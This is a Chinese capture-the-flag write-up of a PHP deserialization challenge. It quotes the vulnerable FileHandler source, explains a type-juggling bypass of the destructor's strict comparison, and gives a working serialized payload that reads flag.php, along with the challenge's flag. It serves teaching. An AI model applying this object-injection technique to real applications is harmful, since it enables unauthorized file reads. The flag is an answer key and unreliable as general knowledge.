解题思路,
第一步:进入题目,看到提示源码
< ?php
include( "flag.php" ) ;
highlight_file( __FILE__) ;
class FileHandler {
protected $op ;
protected $filename ;
protected $content ;
function __construct( ) {
$op = "1" ;
$filename = "/tmp/tmpfile" ;
$content = "Hello World!" ;
$this -> process( ) ;
}
public function process( ) {
if( $this -> op == "1" ) {
$this -> write( ) ;
} else if( $this -> op == "2" ) {
$res = $this -> read( ) ;
$this -> output( $res ) ;
} else {
$this -> output( "Bad Hacker!" ) ;
}
}
private function write( ) {
if( isset( $this -> filename) && isset( $this -> content)) {
if( strlen(( string) $this -> content) > 100) {
$this -> output( "Too long!" ) ;
die( ) ;
}
$res = file_put_contents( $this -> filename, $this -> content) ;
if( $res ) $this -> output( "Successful!" ) ;
else $this -> output( "Failed!" ) ;
} else {
$this -> output( "Failed!" ) ;
}
}
private function read( ) {
$res = "" ;
if( isset( $this -> filename)) {
$res = file_get_contents( $this -> filename) ;
}
return $res ;
}
private function output( $s ) {
echo "[Result]: <br>" ;
echo $s ;
}
function __destruct( ) {
if( $this -> op == = "2" )
$this -> op = "1" ;
$this -> content = "" ;
$this -> process( ) ;
}
}
function is_valid( $s ) {
for( $i = 0; $i < strlen( $s ) ; $i ++)
if( ! ( ord( $s [ $i ] ) >= 32 && ord( $s [ $i ] ) <= 125))
return false ;
return true ;
}
if( isset( $_GET { 'str' } )) {
$str = ( string) $_GET [ 'str' ] ;
if( is_valid( $str )) {
$obj = unserialize( $str ) ;
}
}
第二步:代码审计
前一部分是对FileHandler这个类进行定义,注意这里的process函数,对op参数进行判断,为1调用写函数,为2调用读函数,并将读的结果输入到输出函数中。
public function process( ) {
if( $this -> op == "1" ) {
$this -> write( ) ;
} else if( $this -> op == "2" ) {
$res = $this -> read( ) ;
$this -> output( $res ) ;
} else {
$this -> output( "Bad Hacker!" ) ;
}
}
由于我们需要获取flag,需要进入到读函数中,而读函数会将类里面的filename参数指定的文件进行读取。
private function read( ) {
$res = "" ;
if( isset( $this -> filename)) {
$res = file_get_contents( $this -> filename) ;
}
return $res ;
}
后半段则是本页面的参数传递,传递一个str参数,并对参数里的值进行is_valid函数检测,从看看里面的每个值的ascii是否在32-125之间,通过后进行反序列化,注意这里反序列化会调用析构函数__destruct(),将op值置为1
第三步:构造str参数
我们需要让类里面的op保持为2,且filename=flag.php,为此需要绕过析构函数,析构函数里面使用的是===
(全等),数值类型以及大小都相等才等,而process里面使用的是==
,值相等就行,php自动将类型转化为一致的,所以我们需要让FileHandler类里面的op为int型2即可,因为2!===‘2’但是2==‘2’
生成序列化,由于要进行is_valid函数检测,但是FileHandler类成员变量为protect,生成序列化时会有\0*\0
无法通过检测。解决办法:可以使用public代替protect,因为php7+对成员类型检测不是很严谨。最终序列化结果:O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}
,flag值为:flag{f4a045b0-1e20-4ec7-a49e-272211f8a2c7}